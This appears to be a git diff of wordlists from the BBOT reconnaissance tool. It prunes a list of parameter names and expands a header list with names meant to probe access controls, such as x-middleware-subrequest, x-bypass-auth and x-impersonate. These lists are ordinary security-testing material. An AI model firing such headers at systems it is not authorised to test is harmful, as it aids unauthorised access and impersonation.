-x-verify-credentials-authorization
-x-wap-client-sdu-size
-x-wap-gateway
-x-wap-network-client-ip
 x-wap-network-client-msisdn
-x-wap-proxy-cookie
-x-wap-session-id
-x-wap-tod
-x-wap-tod-coded
-x-wopi-override
 x-wikimedia-debug
-x-wp-pjax-prefetch
-x-ws-api-key
-x-xc-schema-version
-x-xhprof-debug
-x-xhr-referer
-x-xmlhttprequest
-x-xpid
-xxx-real-ip
-xxxxxxxxxxxxxxx
-x-zikula-ajax-token
-x-zotero-version
-x-ztgo-bearerinfo
-y
-zotero-api-version
-zotero-write-token
 access-token
-ajax
-app-env
-bae-env-addr-bcms
-bae-env-addr-bus
-bae-env-addr-channel
-bae-logid
-basic
-catalog
 clientip
 debug
-delete
-enable-gzip
-enable-no-cache-headers
-error-1
-error-2
-error-3
-error-4
-eve-trusted
-fire-breathing-dragon
 format
-gzip-level
-head
 hosti
-htaccess
-image
 incap-client-ip
 local-content-sha1
 on-behalf-of
-options
-password
-pink-pony
-proxy-password
-put
-request2-tests-base-url
-request2-tests-proxy-host
 request-timeout
-rest-sign
-root
-support-events
 token
 user
-useragent
-user-mail
-user-name
-version-none
-viad
-x
 x-access-token
 x-amz-date
-x-amz-server-side-encryption
 x-auth-key
 x-auth-user
-x-confirm-delete
 x-do-not-track
-x-elgg-nonce
-x-expected-entity-length
 x-filename
-x-flash-version
-x-flx-consumer-key
-x-flx-consumer-secret
-x-flx-redirect-url
 x-forwarded-scheme
-x-jphone-msname
-x-options
-x-os-prefs
-x-pjax-container
 x-request-timestamp
-x-rest-password
-x-rest-username
-x-te
 x-unique-id
-x-up-devcap-iscolor
 accesskey
-auth-any
-auth-basic
-auth-digest
-auth-gssneg
-auth-ntlm
-code
-cookie-httponly
-cookie-parse-raw
-cookie-secure
-deflate-level-def
-deflate-level-max
-deflate-level-min
-deflate-strategy-def
-deflate-strategy-filt
-deflate-strategy-fixed
-deflate-strategy-huff
-deflate-strategy-rle
-deflate-type-gzip
-deflate-type-raw
-deflate-type-zlib
-e-encoding
-e-header
-e-invalid-param
-e-malformed-headers
-e-message-type
-encoding-stream-flush-full
-encoding-stream-flush-none
-encoding-stream-flush-sync
-e-querystring
-e-request
-e-request-method
-e-request-pool
-e-response
-e-runtime
-e-socket
-e-url
-get
-header
 http-phone-number
-ipresolve-any
-ipresolve-v4
-ipresolve-v6
 link
-meth-acl
-meth-baseline-control
-meth-checkin
-meth-checkout
-meth-connect
-meth-copy
-meth-label
-meth-lock
-meth-merge
-meth-mkactivity
-meth-mkcol
-meth-mkworkspace
-meth-move
-meth-options
-meth-propfind
-meth-proppatch
-meth-report
-meth-trace
-meth-uncheckout
-meth-unlock
-meth-update
-meth-version-control
-msg-none
-msg-request
-msg-response
 oc-chunked
 ocs-apirequest
-params-allow-comma
-params-allow-failure
-params-default
-params-raise-error
-path
 phone-number
-pragma-no-cache
-proxy-http
-proxy-socks4
-proxy-socks5
-querystring-type-array
-querystring-type-bool
-querystring-type-float
-querystring-type-int
-querystring-type-object
-querystring-type-string
-redirect
-redirect-found
-redirect-perm
-redirect-post
-redirect-proxy
-redirect-temp
-refferer
 requesttoken
 sec-ch-ua
 sec-ch-ua-arch
@@ -800,351 +229,207 @@ sec-fetch-mode
 sec-fetch-site
 sec-fetch-user
 sec-websocket-key
-sp-host
-ssl
-ssl-version-any
-status-bad-request
-status-forbidden
-support
-support-encodings
-support-magicmime
-support-requests
-support-sslrequests
 surrogate-capability
-ua
-upload-default-chmod
-url
-url-from-env
-verbose-throttle
-version-1-0
-version-1-1
-version-any
-webodf-member-id
-webodf-session-id
-webodf-session-revision
-work-directory
-x-
 x-api-key
 x-apitoken
 x-csrftoken
-x-elgg-apikey
-x-elgg-hmac
-x-elgg-hmac-algo
-x-elgg-posthash
-x-elgg-posthash-algo
-x-elgg-time
-x-foo
 x-forwarded-by
-x-json
-x-litmus
-x-locking
 x-oc-mtime
 x-remote-addr
 x-request-signature
 x-ua-device
-x-update-range
 x-varnish
 x-wp-nonce
 auth
-brief
-chunk-size
 client
-download-attachment
-download-bz2
-download-e-headers-sent
-download-e-invalid-archive-type
-download-e-invalid-content-type
-download-e-invalid-file
-download-e-invalid-param
-download-e-invalid-request
-download-e-invalid-resource
-download-e-no-ext-mmagic
-download-e-no-ext-zlib
-download-inline
-download-tar
-download-tgz
-download-zip
-header-lf
-header-status-client-error
-header-status-informational
-header-status-redirect
-header-status-server-error
-header-status-successful
-https-from-lb
-meth-delete
-meth-head
-meth-post
-multipart-boundary
-originator
-php
-recipient
-request-error
-request-vars
 secretkey
-status-ok
 xauthorization
-x-codeception-codecoverage
-x-codeception-codecoverage-config
-x-codeception-codecoverage-debug
-x-codeception-codecoverage-suite
 x-csrf-token
-x-dokuwiki-do
-x-helpscout-signature
-x-nokia-bearer
-xonnection
-x-purpose
-xroxy-connection
 x-user
-bae-env-appid
-catalog-server
-cookie-path
-custom-header
-forwarded-for-ip
-meth-get
-meth-put
-opencart
-unless-modified-since
-www-address
 x-content-type
 x-hub-signature
 x-signature
-bae-env-addr-sql-ip
-bae-env-addr-sql-port
-cache-info
-client-error-cannot-access-local-file
-client-error-cannot-connect
-client-error-communication-failure
-client-error-invalid-parameters
-client-error-invalid-server-address
-client-error-no-error
-client-error-protocol-failure
-client-error-unspecified-error
-error-formatting-html
 lock-token
-onerror-continue
-onerror-die
 overwrite
 prefer
 shib-application-id
-x-fireloggerauth
-cookie-domain
-https
-meth-
-modauth
-port
-post
-read-state-begin
-read-state-body
-read-state-headers
-socket-connection-err
-str-match
-transport-err
-coming-from
-nl
-ua-pixels
-x-coming-from
-x-jphone-display
-x-up-devcap-screenpixels
-x-whatever
-appname
-proxy-port
 version
 x-forward-for
-proxy-user
-x-em-uid
 x-file-type
-bar
-proxy
 timeout
 referrer
-x-forwarded-ssl
-x-jphone-uid
 x-file-size
-accepted
-appcookie
-bad-gateway
-bae-env-addr-bcs
-conflict
-continue
-created
-expectation-failed
-failed-dependency
-gateway-time-out
-gone
-insufficient-storage
-internal-server-error
-length-required
-locked
-method-not-allowed
-moved-permanently
-moved-temporarily
-multiple-choices
-multi-status
-no-content
-non-authoritative
-not-acceptable
-not-extended
-not-implemented
-not-modified
-partial-content
-payment-required
-precondition-failed
-processing
-proxy-authentication-required
-range-not-satisfiable
-request-entity-too-large
-request-time-out
-request-uri-too-large
-reset-content
-see-other
-service-unavailable
-switching-protocols
-temporary-redirect
-unprocessable-entity
-unsupported-media-type
-upgrade-required
-use-proxy
-variant-also-varies
-version-not-supported
-x-operamini-phone
-bad-request
-forbidden
-unauthorized
-user-agent-via
-appversion
-not-found
-url-strip-
 x-pjax
 cf-connecting-ip
-x-dcmguid
-foo
-info-download-size
-info-download-time
-info-return-code
-info-total-request-stat
-info-total-response-stat
-x-firelogger
 content-md5
 x-up-subno
-bae-env-ak
-bae-env-sk
 if
-ok
-url-join-path
-url-join-query
-url-replace
-url-strip-all
-url-strip-auth
-url-strip-fragment
-url-strip-pass
-url-strip-path
-url-strip-port
-url-strip-query
-url-strip-user
 depth
 x-file-name
 x-moz
-x-ucbrowser-device-ua
-device-stock-ua
-mod-rewrite
-x-nokia-ipaddress
-x-bolt-phone-ua
-x-original-user-agent
-x-skyfire-phone
-title
-ssl-https
-request-error-file
-request-error-gzip-crc
-request-error-gzip-data
-request-error-gzip-method
-request-error-gzip-read
-request-error-proxy
-request-error-redirects
-request-error-response
-request-error-url
-slug
-x-att-deviceid
-authentication
-x-firephp-version
-x-mobile-gateway
-request-mbstring
-x-device-user-agent
-x-huawei-userid
-x-orange-id
-x-vodafone-3gpdpcontext
-x-wap-clientid
-ua-cpu
-wap-connection
-x-nokia-gateway-id
-ua-os
-body-maxlength
-body-truncated
 max-forwards
-mimetype
-verify-cert
-request-http-ver-1-0
-request-http-ver-1-1
-request-method-delete
-request-method-get
-request-method-head
-request-method-options
-request-method-post
-request-method-put
-request-method-trace
-x-operamini-phone-ua
-status
-x-update
 method
 forwarded-for
 x-forwarded
-scheme
 x-forwarded-server
 origin
 x-client-ip
-x-prototype-version
 clientaddress
-base
-pc-remote-addr
-post-files
-session-vars
-cookie-vars
-env-vars
-get-vars
-server-vars
 x-forwarded-host
 x-requested-with
-referer
 host
 alt-used
 x-original-url~/%s
 x-rewrite-url~/%s
 command
-__requesturi
-__requestverb
 x-http-status-code-override
 x-amzn-remapped-host
-x-amz-website-redirect-location
-x-up-devcap-post-charset
-http_sm_authdirname
-http_sm_authdirnamespace
-http_sm_authdiroid
-http_sm_authdirserver
-http_sm_authreason
-http_sm_authtype
-http_sm_dominocn
-http_sm_realm
-http_sm_realmoid
-http_sm_sdomain
-http_sm_serveridentityspec
-http_sm_serversessionid
-http_sm_serversessionspec
-http_sm_sessiondrift
-http_sm_timetoexpire
-http_sm_transactionid
-http_sm_universalid
-http_sm_user
-http_sm_userdn
-http_sm_usermsg
 x-remote-ip
 traceparent
 tracestate
+x-middleware-subrequest
+x-middleware-invoke
+x-middleware-prefetch
+x-invoke-query
+x-invoke-error
+x-invoke-output
+x-invoke-path
+x-invoke-status
+x-now-route-matches
+akamai-client-ip
+x-use-http-status-code-override
+cross-origin-embedder-policy
+cross-origin-opener-policy
+cross-origin-resource-policy
+origin-agent-cluster
+permissions-policy
+permissions-policy-report-only
+document-policy
+feature-policy
+reporting-endpoints
+nel
+sec-ch-prefers-color-scheme
+sec-ch-prefers-reduced-motion
+sec-ch-prefers-reduced-transparency
+sec-ch-prefers-contrast
+sec-ch-prefers-monochrome
+sec-ch-save-data
+sec-ch-viewport-width
+sec-ch-viewport-height
+sec-ch-dpr
+sec-ch-width
+sec-ch-device-memory
+sec-ch-rtt
+sec-ch-downlink
+sec-ch-ect
+sec-ch-ua-form-factors
+sec-ch-ua-wow64
+critical-ch
+accept-ch
+accept-ch-lifetime
+sec-fetch-storage-access
+sec-purpose
+early-data
+priority
+alt-svc
+speculation-rules
+sec-browsing-topics
+sec-cookie-deprecation
+attribution-reporting-eligible
+attribution-reporting-register-source
+attribution-reporting-register-trigger
+use-as-dictionary
+available-dictionary
+dictionary-id
+x-amzn-trace-id
+x-amzn-requestid
+x-amz-cf-id
+x-amz-cf-pop
+x-cloud-trace-context
+x-goog-iap-jwt-assertion
+x-google-real-ip
+x-appengine-user-ip
+x-appengine-country
+x-appengine-city
+x-appengine-region
+x-vercel-forwarded-for
+x-vercel-id
+x-vercel-ip-city
+x-vercel-ip-country
+x-vercel-ip-country-region
+x-vercel-ip-latitude
+x-vercel-ip-longitude
+x-vercel-ip-timezone
+x-vercel-deployment-url
+x-vercel-cache
+x-vercel-proxied-for
+x-vercel-sc-headers
+cf-worker
+cf-ray
+cf-cache-status
+cdn-loop
+x-azure-ref
+x-azure-clientip
+x-azure-socketip
+x-msedge-ref
+x-arr-clientcert
+fly-client-ip
+fly-forwarded-port
+fly-region
+fly-request-id
+fastly-ff
+fastly-debug-path
+fastly-debug-ttl
+fastly-debug-digest
+x-render-origin-server
+x-heroku-queue-wait-time
+x-heroku-dyno
+x-nf-request-id
+x-nf-instance-id
+x-override-url
+x-original-uri
+x-original-remote-user
+x-original-method
+x-rewrite
+x-rewritten-url
+x-forwarded-path
+x-forwarded-uri
+x-trusted-ip
+x-trusted-host
+x-bypass-auth
+x-no-auth
+x-internal-host
+x-internal-user
+x-server-host
+x-impersonate
+x-user-impersonation
+x-user-id-override
+x-act-as
+x-substitute-user
+x-admin
+x-admin-user
+x-admin-token
+x-superuser
+x-xsrf-token
+xsrf-token
+x-csrf
+csrf-token
+x-auth
+x-app-auth
+x-session
+x-session-id
+x-session-token
+x-bearer
+x-bearer-token
+x-jwt
+x-jwt-token
+x-pingback
+cdn-cache-control
+surrogate-control
+cache-tag
+surrogate-key
+cache-status
+x-accel-expires
+x-cache-key
+x-cache-lookup
+x-served-by
diff --git a/bbot/wordlists/paramminer_parameters.txt b/bbot/wordlists/paramminer_parameters.txt
index 9ad334d19c..b0ac7b2cc5 100644
--- a/bbot/wordlists/paramminer_parameters.txt
+++ b/bbot/wordlists/paramminer_parameters.txt
@@ -1,9 +1,7 @@
-id
 user
 account
 number
 order
-no
 doc
 key
 email
@@ -13,11 +11,9 @@ edit
 report
 daemon
 upload
-dir
 execute
 download
 log
-ip
 cli
 cmd
 file
@@ -25,7 +21,6 @@ document
 folder
 root
 path
-pg
 style
 pdf
 template
@@ -74,7 +69,6 @@ page
 feed
 host
 port
-to
 out
 show
 navigation
@@ -101,7 +95,6 @@ rename
 reset
 shell
 toggle
-adm
 cfg
 config
 action
@@ -111,20 +104,15 @@ type
 username
 title
 code
-q
 submit
 token
 message
-t
-c
 mode
 lang
-p
 status
 start
 charset
 description
-s
 post
 excerpt
 login
@@ -132,15 +120,12 @@ comment
 step
 ajax
 state
-f
 error
 save
 format
 tab
 offset
-a
 limit
-do
 plugin
 theme
 text
@@ -148,22 +133,17 @@ language
 height
 logout
 pass
-h
 value
 filename
 year
 version
 subject
-m
-u
 confirm
 width
-w
 size
 date
 source
 GLOBALS
-op
 method
 uid
 tag
@@ -178,26 +158,21 @@ paged
 cat
 msg
 add
-d
 day
 nonce
 captcha
 output
 revision
-i
 xml
-db
 time
 section
 image
-r
 files
 tags
 users
 send
 updated
 skips
-n
 check
 orderby
 num
@@ -220,36 +195,27 @@ position
 location
 extra
 count
-b
 rating
 pass2
 hostname
 move
 hash
-dry
 cid
 body
 src
 level
 generate
-g
 dbname
 option
 userid
-sql
 options
 address
 activated
 action2
-password2
 pass1
 meta
-ID
 deleted
-act
-e
 taxonomy
-ref
 publish
 secret
 app
@@ -261,7 +227,6 @@ force
 export
 sticky
 nickname
-v
 plugins
 locked
 command
@@ -281,17 +246,12 @@ keywords
 enabled
 base
 refresh
-foo
-y
 media
 info
 guid
-dt
-x
 testdata
 list
 visibility
-User
 thumb
 stage
 history
@@ -315,7 +275,6 @@ posted
 noheader
 ContactForm
 tax
-ss
 inline
 gid
 attachments
@@ -334,20 +293,14 @@ short
 active
 session
 registration
-hh
 price
 nsql
-mm
 loggedout
 lastname
 SMALLER
 saved
-rsd
-ps
 newcontent
-mn
 linkurl
-jj
 install
 hidem
 firstname
@@ -356,15 +309,12 @@ color
 clearsql
 checkemail
 BIGGER
-aa
 slug
 remember
 referrer
 reason
-o
 note
 referredby
-l
 deletepost
 dbpass
 attached
@@ -374,7 +324,6 @@ noredir
 newcat
 monthnum
 metakeyinput
-insertonlybutton
 input
 form
 failure
@@ -417,7 +366,6 @@ task
 submitted
 database
 addnew
-Submit
 purge
 notes
 editwidget
@@ -438,7 +386,6 @@ ctype
 widget
 topic
 main
-js
 blogname
 untrash
 unspammed
@@ -459,12 +406,10 @@ find
 display
 directory
 batch
-alt
 set
 scrollto
 fwidth
 fheight
-sub
 same
 rows
 reauth
@@ -486,7 +431,6 @@ noapi
 charsout
 catslist
 categories
-up
 subscribe
 script
 removeheader
@@ -496,7 +440,6 @@ nocache
 kill
 columns
 api
-z
 sortby
 register
 recovered
@@ -513,9 +456,7 @@ rid
 result
 public
 payload
-ns
 mobile
-css
 align
 what
 rank
@@ -538,13 +479,11 @@ done
 summary
 skipped
 range
-go
 dump
 confirmation
 CKEditorFuncNum
 changes
 ticket
-pw
 pointer
 param
 first
@@ -559,10 +498,8 @@ nochange
 length
 goto
 company
-Comment
 close
 website
-st
 skip
 restart
 pages
@@ -570,17 +507,13 @@ node
 localize
 fname
 except
-Type
 restore
 profiler
 previewed
-password1
 NewFolderName
 lng
 left
 layout
-k
-fn
 flag
 doaction2
 details
@@ -591,11 +524,8 @@ broken
 block
 paper
 line
-jax
 icon
 flush
-fileName
-dl
 controller
 catid
 PayerID
@@ -605,7 +535,6 @@ decomposition
 confirmed
 chromeless
 bid
-yes
 weight
 verify
 values
@@ -614,7 +543,6 @@ route
 replace
 read
 project
-Post
 nid
 md5
 map
@@ -627,14 +555,11 @@ exclude
 dbprefix
 authors
 zoom
-userId
 trigger
 setting
-rs
 provider
 package
 operation
-ok
 object
 mark
 lid
@@ -645,7 +570,6 @@ forum
 err
 doit
 backup
-ac
 sent
 phpThumbDebug
 photo
@@ -695,7 +619,6 @@ sign
 sEcho
 searchtype
 saveasdraft
-rss
 recipient
 prev
 notice
@@ -706,7 +629,6 @@ members
 member
 md5s
 init
-hs
 headerimage
 header
 fontdisplay
@@ -715,11 +637,9 @@ fax
 engine
 current
 client
-cc
 callf
 article
 ver
-ts
 roles
 region
 raw
@@ -737,7 +657,6 @@ empty
 chunks
 album
 userselect
-userName
 telephone
 stats
 saveauthors
@@ -754,9 +673,7 @@ denied
 dccharset
 contents
 compress
-Command
 area
-aim
 accept
 vid
 unit
@@ -773,7 +690,6 @@ record
 posts
 pagenow
 override
-opt
 opname
 job
 idx
@@ -783,7 +699,6 @@ filters
 fileid
 expand
 entity
-cp
 clean
 caption
 apikey
@@ -798,7 +713,6 @@ sex
 separator
 scripts
 rules
-rt
 rate
 product
 prepopulate
@@ -824,12 +738,10 @@ again
 actions
 wysiwyg
 word
-userID
 unsort
 uninstall
 unfoldmenu
 support
-startDate
 standalone
 since
 score
@@ -843,13 +755,11 @@ oldpassword
 oid
 noajax
 newpassword
-newName
 minute
 mac
 langCode
 iDisplayStart
 genre
-From
 font
 emails
 eid
@@ -863,14 +773,12 @@ collation
 cms
 attributes
 attribute
-as
 adduser
 zone
 zipcode
 words
 viewtype
 usr
-To
 ssl
 single
 sendmail
@@ -880,24 +788,18 @@ perpage
 newsletter
 newsid
 names
-Name
 min
 logoutRequest
 logo
 interface
 frequency
-firstName
-dbName
 criteria
-by
 button
 break
-bg
 ban
 authorize
 artist
 allow
-un
 stripeToken
 resize
 replyto
@@ -912,14 +814,10 @@ opener
 namespace
 mime
 loc
-lastName
 jabber
 global
 forums
-foo1
-FileName
 endpoint
-Email
 detail
 descr
 deny
@@ -928,14 +826,10 @@ customer
 copyright
 compression
 collection
-address2
-yim
 week
 unsubscribe
 truncate
-tableName
 speed
-sortOrder
 sig
 share
 servername
@@ -976,8 +870,6 @@ sessionid
 sequence
 sender
 searchTerm
-sd
-sc
 rule
 reg
 redir
@@ -987,14 +879,12 @@ productid
 popupurl
 popuptitle
 pageid
-oc
 nom
 newpass
 memo
 maxResults
 iSortingCols
 gateway
-for
 feedback
 fcksource
 extension
@@ -1004,10 +894,8 @@ deleteall
 csv
 business
 board
-address1
 addr
 addgroup
-who
 unread
 ttl
 temp
@@ -1024,25 +912,19 @@ permission
 pending
 pattern
 passkey
-nr
 match
 jsonp
 itemid
 invites
 invite
-foo6
-foo2
 filetype
-fc
 encoding
 enc
-em
 element
 discard
 delay
 def
 dbpassword
-currentFolder
 course
 commit
 cols
@@ -1063,7 +945,6 @@ threadid
 team
 system
 storage
-STATUS
 sites
 rollback
 resettext
@@ -1072,16 +953,11 @@ rem
 receiver
 rebuild
 rebroadcast
-re
 quality
-qq
-Profile
 privileges
 primary
 poll
-Password
 parameters
-os
 orderbydate
 opauth
 messages
@@ -1092,16 +968,13 @@ ignore
 handler
 forward
 fileext
-endDate
 driver
 docroot
 deletepage
-d2
 cron
 control
 configure
 conditions
-Collation
 codepress
 chart
 bitrate
@@ -1122,22 +995,17 @@ rev
 returnto
 repo
 rel
-RegistrationForm
-r2
 pre
 player
 place
-pk
 person
 permalink
-pc
 payment
 pagename
 other
 openid
 notifications
 nojs
-newPassword
 newdir
 network
 multi
@@ -1170,36 +1038,26 @@ asc
 anonymous
 announcement
 xmldump
-UserRecoveryForm
 UserLogin
-UserChangePassword
-USER
 updates
-tx
 tweet
 trust
 track
 topicid
 tool
 timeformat
-tb
-step2
 ssid
 sendto
 season
-Search
 schedule
 scan
-sa
 repassword
 reinstall
 realname
 radius
-px
 proxyuser
 ProfileField
 pmid
-pm
 picture
 paymentType
 param2
@@ -1207,7 +1065,6 @@ nopass
 newfolder
 mysql
 multiple
-Message
 longitude
 logtype
 loader
@@ -1217,10 +1074,8 @@ join
 ipaddress
 instance
 iframe
-id2
 hours
 home
-groupId
 gallery
 ftp
 friends
@@ -1232,7 +1087,6 @@ fail
 explain
 episode
 email2
-EaseTemplateVer
 distance
 dirname
 depth
@@ -1243,12 +1097,9 @@ crop
 cost
 connect
 confirmpassword
-com
-co
 chk
 child
 categoryid
-Body
 birthdate
 begin
 before
@@ -1256,7 +1107,6 @@ BackURL
 avatars
 autofocus
 authenticate
-at
 aname
 agreement
 adminname
@@ -1264,13 +1114,10 @@ activkey
 xajax
 viewonline
 unwatch
-ui
 typeid
-th
 templateid
 targets
 tagged
-sw
 super
 subname
 subform
@@ -1283,7 +1130,6 @@ spec
 sord
 snapshot
 side
-sh
 serial
 second
 rewrite
@@ -1295,20 +1141,12 @@ previous
 preset
 poster
 policies
-pn
 platform
 placement
 pin
-pID
 php
-parentID
 pagination
 pagesize
-p2
-p1
-oldPassword
-name2
-msn
 moved
 monitor
 migrate
@@ -1316,35 +1154,26 @@ merge
 maxage
 mask
 manufacturer
-ls
 loginname
-ld
-Lang
 kid
 include
 idSelect
 hook
 goback
-fs
 frontpage
 fontsize
 filepath
-Filename
 filecontent
 featured
 fav
 failed
 extend
 eventId
-eventid
 endtime
 editid
 div
 delivery
-dbUser
 dbsize
-dbPassword
-DATA
 dashboard
 cursor
 container
@@ -1353,18 +1182,14 @@ compact
 colors
 collapse
 characters
-ch
 cats
 cart
 calendar
-C
 browser
 brand
 birthday
-bcc
 attr
 apps
-ad
 zid
 xajaxargs
 which
@@ -1376,7 +1201,6 @@ usesubform
 unique
 undelete
 uids
-tz
 torrent
 titles
 templates
@@ -1390,20 +1214,15 @@ suffix
 subtotal
 submitorderby
 submitoptions
-State
 staff
 special
-sortBy
 sorder
 sname
-sm
 sitemap
 siteid
 simpledb
 signin
 sidx
-sID
-ShowFunctionFields
 shoutbox
 sec
 sample
@@ -1423,27 +1242,21 @@ progress
 program
 problem
 postsperpage
-postId
 pollid
 playlist
 paymentAmount
 passphrase
 pagetitle
-pageSize
 pageno
-pageID
 padding
 otp
 onserver
 obfuscate
 newvalue
-newDir
 mongo
 moderator
 modal
 mimetype
-mID
-ma
 lst
 loop
 lookup
@@ -1451,14 +1264,10 @@ loggedin
 lastID
 issue
 intro
-in
 idp
 head
 handle
-gz
-groupID
 gift
-gID
 funcs
 fulltext
 folderid
@@ -1470,12 +1279,10 @@ feeds
 errors
 entries
 elastic
-dontlimitchars
 donor
 dob
 displayname
 disp
-des
 department
 delmarked
 dbusername
@@ -1489,9 +1296,7 @@ cover
 coppa
 contentType
 complete
-Comments
 commentid
-cID
 catorder
 book
 authkey
@@ -1500,7 +1305,6 @@ articles
 appname
 appid
 append
-and
 analyze
 agreed
 agent
@@ -1509,52 +1313,37 @@ adminmail
 addfolder
 addcomment
 accountid
-y2
-x2
-WriteTags
 with
 wipe
-why
 wctx
-vp
 videoType
 vcode
 vbrmethod
 userrole
 userpass
-Username
 useremail
 userdata
-unsynchronizedtags
 unstick
 unsecuresubmit
 unbookmark
-ua
 typ
-tv
 tree
 transfer
 trackzero
 TracksTotal
 tracknoalbum
 trackinalbum
-Track
 trace
 tot
 torrentid
 Toolbar
-TOKEN
 todate
 titlefeat
 tipo
 thumbs
 tel
-tc
 tagtypes
 tagname
-TagFormatsToWrite
-synchronizetagsfrom
-sum
 subdomain
 stype
 stub
@@ -1564,11 +1353,7 @@ stick
 static
 srv
 split
-sp
-sn
 smtp
-sku
-Skin
 signout
 showwysiwyg
 showtagfiles
@@ -1584,25 +1369,18 @@ saveid
 saveField
 SAMLResponse
 samemix
-rpp
 rolename
 rights
-returnURL
-returnurl
 restrict
 resolve
 rescanerrors
 reorder
 renamefileto
 reminder
-rememberMe
 relative
 recent
-realName
 radio
 quickmod
-qa
-pw2
 psubmit
 properties
 projects
@@ -1615,18 +1393,13 @@ persistent
 permanent
 percent
 pay
-PASSWORD
 passwd2
 partial
 paid
-orderId
-oID
 npassword
 notmodrewrite
 notapache
-nonemptycomments
 noalert
-newUser
 newscan
 newpw
 newpass2
@@ -1639,7 +1412,6 @@ money
 moduleName
 mlpage
 mkdir
-missingtrackvolume
 minutes
 minor
 mensaje
@@ -1648,11 +1420,8 @@ manager
 m3utitle
 m3ufilename
 m3uartist
-m3u
 longurl
 logs
-Login
-ln
 lists
 listid
 listdirectory
@@ -1660,69 +1429,46 @@ linktype
 lines
 like
 lib
-KEY
 itemType
-itemId
 isAjax
 int
 initial
 grp
-groupName
 GenreOther
-genredistribution
-Genre
 fullfolder
 framed
 formName
 formid
-formatdistribution
 foldmenu
 flip
-fixid3v1padding
 filetypelist
 filesize
-filenamepattern
 filelist
 fileextensions
 fieldValue
-fieldName
 fieldid
-fID
 feid
 extended
 extAction
 existing
-ex
 events
 eventName
-errorswarnings
-encoderoptionsdistribution
-encodedbydistribution
 emptygenres
 emailAddress
-emailaddress
 edituser
-dp
-displayName
 disallow
 dirs
 dictionary
 deleteid
 defaultValue
-deadfilescheck
 deactivated
-dd
-dbType
 dates
-ctf
 createdb
-Country
 correctcase
 copied
 cookies
 convert
 contactname
-confirmPassword
 configuration
 condition
 cluster
@@ -1731,44 +1477,28 @@ CKFinderCommand
 chmod
 children
 chat
-cep
-cd
-cb
 catname
-catID
 CardType
 caching
 bookmark
 bodytext
 bgcolor
 baseurl
-bar
-autofixforcesource
-autofixforcedest
 autofix
 authtype
 audiobitrates
 assignment
-artisttitledupes
 application
-APICpictureType
-ans
 announce
 anchor
-amt
 always
-adv
 addusers
 accessType
-y1
 xrds
-x1
 wrap
 work
-way
 warning
 votes
-vn
 views
 videoid
 verifypeer
@@ -1783,39 +1513,25 @@ utmp
 utmdebug
 utmac
 uses
-userEmail
 use
 uporder
 updatedb
 unbansubmit
-ult
-ul2
-ul
-UA
-u2
-u1
-type2
 txtDescription
 transaction
 tracker
 tos
-torrentsperpage
 topicsperpage
 toboard
-Title
 timeframe
-tID
 textarea
 testing
 testemail
 tbl
 tasks
 taglist
-Tag
 tableprefix
 tableId
-t2
-t1
 survey
 surname
 supportfor
@@ -1825,34 +1541,27 @@ submit1
 subj
 styles
 storyid
-step1
 stay
-Status
 start2
 standard
 span
-so
 smtpPort
 smiley
 slogan
 slide
 sitetitle
 signatures
-SID
 showqueries
 showpage
 shout
 sha1
-sf
 severity
 sesskey
 sessidpass
 series
 sectionid
-searchText
 searchid
 searchField
-sdb
 sday
 scheme
 scene
@@ -1861,12 +1570,10 @@ savesettings
 savepms
 savefile
 saveData
-Save
 sandbox
 rotatefile
 rotate
 roleid
-rn
 revoke
 returnID
 resync
@@ -1888,7 +1595,6 @@ RecordingUrl
 recordid
 reasontype
 race
-qs
 push
 pub
 province
@@ -1896,20 +1602,15 @@ protection
 property
 pref
 predefined
-pp
 play
 plan
-pl
 ping
-pf
 permerror
 passw
-PASS
 PaRes
 parameter
 organization
 org
-orderBy
 online
 oldusername
 oldpwd
@@ -1918,7 +1619,6 @@ objects
 nowarn
 notification
 newpw2
-NEWPASS
 newlang
 nav
 myEditor
@@ -1931,16 +1631,12 @@ maxwidth
 matchtype
 mapping
 mandatory
-ls2
 local
 lightbox
 levels
 langID
-L
 kick
 karma
-j
-Itemid
 isDuplicate
 iphone
 ipexclude
@@ -1955,32 +1651,19 @@ incldead
 importance
 imgurl
 imgpath
-IMG
 imageid
 ident
-id1
-Id
-icq
 href
 hostid
-hl
-hit
 headline
 heading
-HeaderHexBytes
 goodfiles
-Generate
-ft
 fragment
 forumid
 foreign
 followup
-fm
 fldr
-fileType
 filetotal
-fileID
-fg
 fCancel
 facebook
 extUpload
@@ -1989,7 +1672,6 @@ extMethod
 expiry
 example
 errorCode
-eol
 entityid
 encoded
 emphasis
@@ -2004,9 +1686,7 @@ donated
 doinstall
 docid
 dlt
-dl2
 direct
-dip
 Digits
 dict
 delid
@@ -2020,9 +1700,7 @@ date2
 datatype
 cut
 currencyCodeType
-ct
 csrf
-cs
 cPath
 courses
 coupon
@@ -2031,9 +1709,6 @@ content1
 contacts
 contactid
 conn
-commentId
-cod
-cm
 clientid
 clearLogs
 classification
@@ -2041,7 +1716,6 @@ chosen
 channelmode
 chanid
 chan
-Category
 campaign
 callerid
 caller
@@ -2052,8 +1726,6 @@ boards
 blogusers
 blogs
 billing
-bID
-bib
 bbconfigloc
 base64
 bansubmit
@@ -2067,20 +1739,16 @@ alpha
 alert
 albumid
 ageverify
-agb
 afilter
 adminpassword
 adminid
 adminemail
-AddAuthItemForm
 activation
 actionfile
-Action
 acceptpms
 accepted
 abstract
 abort
-a2
 zoneid
 youtube
 yourname
@@ -2088,91 +1756,30 @@ wwname
 wmax
 wiki
 widgets
-Widget
 whitelist
 wait
 voucher
-vol
-vl
-visualizationSettings
 viewName
-viewname
 via
-Version
-varname
 variables
 validator
 valid
 utype
 utf8
 usort
-Users
-USERNAME
 url1
-URL
 uploadpos
-Upload
-Update
 upc
 until
 unset
 unselectall
 unpublished
 undo
-u9
-u8
-u7
-u6
-u50
-u5
-u49
-u48
-u47
-u46
-u45
-u44
-u43
-u42
-u41
-u40
-u4
-u39
-u38
-u37
-u36
-u35
-u34
-u33
-u32
-u31
-u30
-u3
-u29
-u28
-u27
-u26
-u25
-u24
-u23
-u22
-u21
-u20
-u19
-u18
-u17
-u16
-u15
-u14
-u13
-u12
-u11
-u10
 txtEmail
 trid
 transactionID
 trackusers
 totalProductCount
-topicID
 tokens
 times
 timer
@@ -2183,18 +1790,15 @@ themename
 testmethods
 taskid
 targetboard
-tac
 tableFields
 tabid
 sys
-sy
 suspend
 supplierID
 subwdata
 suburb
 substruc
 substep
-submit2
 sublogin
 subjoin
 subconst
@@ -2202,22 +1806,18 @@ subcat
 subacc
 student
 STRUCTURE
-structure
 strReferrer
 strProfileData
 strId
 strFormId
 stream
 steps
-stdDateFilterField
 stdDateFilter
 station
-startTime
 startday
 sserver
 square
 sqlquery
